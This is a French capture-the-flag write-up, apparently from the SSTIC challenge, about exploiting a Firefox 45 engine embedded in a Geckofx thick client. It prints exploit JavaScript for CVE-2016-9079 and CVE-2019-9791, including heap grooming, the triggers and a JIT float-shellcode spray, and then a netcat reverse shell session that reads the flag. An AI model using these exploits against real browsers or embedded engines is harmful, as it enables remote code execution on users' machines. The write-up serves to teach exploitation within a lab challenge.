Introduction
Les seuls fichiers d’entrée pour cette étape sont un fichier xml :
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Geckofx45.64" version="45.0.34" targetFramework="net48" />
</packages>
<!-- dotnet add package Geckofx45.64 --version 45.0.34 -->
et des informations, sommaires, sur la machine cible (un windows serveur 2019). En se renseignant, on tombe sur geckofx, un package C# incluant le moteur de firefox, en version 45 et 64bits donc.
MyTiny client
Première étape, créer notre propre client autour de ce package. C’est, au final, l’histoire de quelques fichiers C# (un main, une Form à laquelle on ajoute un objet Gecko.GeckoWebBrowser), mais le setup de l’environnement m’aura pris quelques temps. Mais je me retrouve avec mon propre client Gecko.
Ce qui permet de constater que, en tout cas sur mon client, l’ensemble du rendu web se fait au sein d’un unique processus (contrairement à un navigateur courant, séparé en de nombreux processus avec des niveaux de privilèges distincts et potentiellement très limité). Et que tout tourne avec les privilèges de l’utilisateur courant (avec un nouveau d’intégrité MEDIUM).
C’est une très bonne nouvelle pour nous, on n’aura pas à chainer une sortie de sandbox, ou une LPE, à notre RCE.
CVE-2016-9079
Une première recherche de poc public pour un firefox 45 me donne assez vite cette CVE (et une série d’UAF similaire), ainsi qu’une série de blogposts par Rh0.
La preuve de concept a été faite pour x86, mais est assez simplement portable en x64. Seul "petit" problème, la vulnérabilité est un Use-After-Free, le poc va remplacer un objet (lié à une animation svg) par le contenu d’un objet Uint32Array
var offset = 0x110 // Firefox 45
var exploit = function(){
var u32 = new Uint32Array(block80)
u32[0x4] = arrBase - offset ;
u32[0x5] = object_target_address_high;
u32[0xa] = arrBase - offset + 0x1000;
u32[0xb] = object_target_address_high;
u32[0x10] = arrBase - offset + 0x2000;
u32[0x11] = object_target_address_high;
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
for(i = 0; i < heap80.length/2; i++)
{
heap80[i] = block80.slice(0)
}
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
for(i = heap80.length/2; i < heap80.length; i++)
{
heap80[i] = block80.slice(0)
}
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
//TRIGGER UAF
containerA.pauseAnimations();
}
worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
Sans plus de modification on crash ici :
.text:00000001813009F4 FNCH__CRASH proc near ; CODE XREF: sub_1813010C4+32↓p
.text:00000001813009F4 ; DATA XREF: .pdata:0000000182F89C44↓o ...
.text:00000001813009F4 sub rsp, 28h
.text:00000001813009F8 mov eax, [rcx+0D8h] <= CRASH HERE
.text:00000001813009FE dec eax
.text:0000000181300A00 cmp eax, 1
.text:0000000181300A03 ja short loc_181300A17
.text:0000000181300A05 mov rdx, [rcx+88h]
.text:0000000181300A0C xor r9d, r9d
.text:0000000181300A0F xor r8d, r8d
.text:0000000181300A12 call sub_181300F74
.text:0000000181300A17
.text:0000000181300A17 loc_181300A17: ; CODE XREF: FNCH__CRASH+F↑j
.text:0000000181300A17 add rsp, 28h
.text:0000000181300A1B retn
.text:0000000181300A1B FNCH__CRASH endp
la valeur de rcx étant contrôlable ( via object_target_address). On a un refcounter en +D8, et une série d’indirections (en +0, puis +28) finiront par provoquer l’appel d’une fonction situé en +168.
Le code original, qui cible les architectures 32bits, va allouer un grand nombre de tableaux de grande taille (~1Mo) de façon à obtenir une allocation à une adresse prédictible. La même chose est faite avec une fonction jittée, qui contiendra le shellcode final.
Mais nous sommes en 64bits, les plages de randomisation du heap sont bien plus importantes, ce qui rend ce type d’approche bien plus complexe. La mémoire de la machine distante est d’ailleurs assez limitée, ce qui réduit la quantité de mémoire "sprayable".
Je m’enfonce donc dans le bugtracker de mozilla à la recherche d’une primitive de leak. CVE-2017-5465 semble prometteuse mais je n’arrive pas à comprendre comment récupérer le leak, je passe à CVE-2017-5378 qui permet, via une timing attaque lors de l’insertion de données dans une hash table de récupérer les 32bits de poids faible de la chaine '\0'.
Ce n’est pas parfait, mais ça marche bien, et combiné à un peu de spray ça permet d’obtenir une adresse prédictible pour notre buffer de fakeobj (rcx précédemment) et notre shellcode. A l’exception des 3 nibbles (quartets) de poids fort, qui évolueront entre 0x000 et 0x300 (à la louche) selon la position aléatoire de base de la heap.
Le shellcode sera posé, comme l’année passée sur chrome, dans un tableau de floatants. Ce tableau sera positionné, à offset fixe dans un bloc de JIT (0x3a98).
C’est pas fou, mais je suis prêt à jouer une centaine de fois la vulnérabilité s’il le faut. Sauf que la machine distante n’est pas assez performante pour CVE-2017-5378, et le leak échoue systématiquement.
(╯‵□′)╯︵┻━┻
CVE-2019-9791 : confusion de type vs UAF
Je m’étais volontairement limité à des CVE < 2018 pour éviter les bugs de JIT, qui, pour moi, ne seraient pas exprimés sur une version aussi vielle. C’était une erreur. On me signale qu’un poc de Project 0, fonctionne très bien et que je pourrais regarder. Et effectivement le trigger suivant fonctionne très bien :
function Hax(val, l) {
this.a = val;
for (let i = 0; i < l; i++) {}
this.x = 42;
this.y = 42;
// After conversion to a NativeObject, this property
// won't fit into inline storage, but out-of-line storage
// has not been allocated, resulting in a crash @ 0x0.
this.z = 42;
}
for (let i = 0; i < 10000; i++) {
new Hax(13.37, 1);
}
let obj = new Hax("asdf", 1000000);
La preuve de concept beaucoup moins. Mais il suffit tout simplement de sortir le trigger et la mise en place de l’objet de lecture temporaire de la classe Primitive pour obtenir une primitive d’ARW fonctionnelle.
La suite est très similaire au code originel, on utilise la première primitive, qui est instable, pour en créer une seconde (classe Memory). Par pure flemme, je reste sur la technique de spray précédente : un unique bloc de 0x1000000 qui me servira de buffer pour le fake obj et dont je peux récupérer l’adresse. Et un spray de fonctions jittées, dont une tombera systématiquement après le fake obj, une instance de mon shellcode sera donc à adresse connue.
Le fichier solve.html, qui a servi pour ce challenge, contient un lien vers 9791.js, contenant le code de la preuve de concept précédente. Un lien vers une bibliothèque utilitaire qui sert de lien avec mon serveur d’exploit. Et le fichier shellcode.js, contenant votre shellcode sous forme de tableau de flottant, et la fonction de spray suivante :
Asmjs.prototype.spray_float_payload = function(regions){
this.modules = new Array(regions).fill(null).map(
region => this.asm_js_module(window, {foo: () => 0})
)
};
Il faudra faire attention, dans l’écriture du shellcode à l’alignement de la stack sur 16 octets avant l’appel d’API windows, mais sinon rien de complexe.
Systeme distant
Mon shellcode créant une invit de commande distante je me retrouve avec :
fanch:~$ nc -l -p 8888 Microsoft Windows [Version 10.0.17763.7009] (c) 2018 Microsoft Corporation. All rights reserved. C:\Chall\MySuperThickClient>dir dir Volume in drive C has no label. Volume Serial Number is 1E16-87BA Directory of C:\Chall\MySuperThickClient 06/04/2025 21:49 <DIR> . 06/04/2025 21:49 <DIR> .. 06/04/2025 21:49 <DIR> Firefox 06/01/2018 04:09 1�957�376 Geckofx-Core.dll 06/01/2018 04:09 4�478�464 Geckofx-Core.pdb 06/01/2018 04:09 127�488 Geckofx-Winforms.dll 06/01/2018 04:09 241�152 Geckofx-Winforms.pdb 28/03/2025 00:52 186 SouperClient.config 28/03/2025 01:06 8�192 SouperClient.exe 28/03/2025 01:06 34�304 SouperClient.pdb 7 File(s) 6�847�162 bytes 3 Dir(s) 13�596�200�960 bytes free C:\Chall\MySuperThickClient>cd .. cd .. C:\Chall>dir dir Volume in drive C has no label. Volume Serial Number is 1E16-87BA Directory of C:\Chall 08/04/2025 01:57 <DIR> . 08/04/2025 01:57 <DIR> .. 06/04/2025 21:45 55 flag.txt 06/04/2025 21:46 <DIR> FlagProvider 06/04/2025 21:44 <DIR> MFDProxy 06/04/2025 21:49 <DIR> MySuperThickClient 06/04/2025 21:46 403 TODO.txt 2 File(s) 458 bytes 5 Dir(s) 13�596�057�600 bytes free C:\Chall>type flag.txt type flag.txt SSTIC{58e9ab359732a4a5408661470bb3bf34e9b8362c639f5b83} C:\Chall>type TODO.txt type TODO.txt Pfiou, j'ai enfin fini ce flag provider, on approche de la fin. TODO: * Add IP blocklist in case of spam * Ajouter un module de visualisation des flags rat�s c�t� admin * Tester le flag provider, et l'ajout de flags en tant qu'admin * Tester la feature d'obtention de l'email final * Impl�menter le get d'email depuis le client lourd (je ne sais pas si j'aurai le temps pour celui l� ...)
En plus du flag, je récupère le contenu du dossier FlagProvider (et, bien plus tard, de MFDProxy).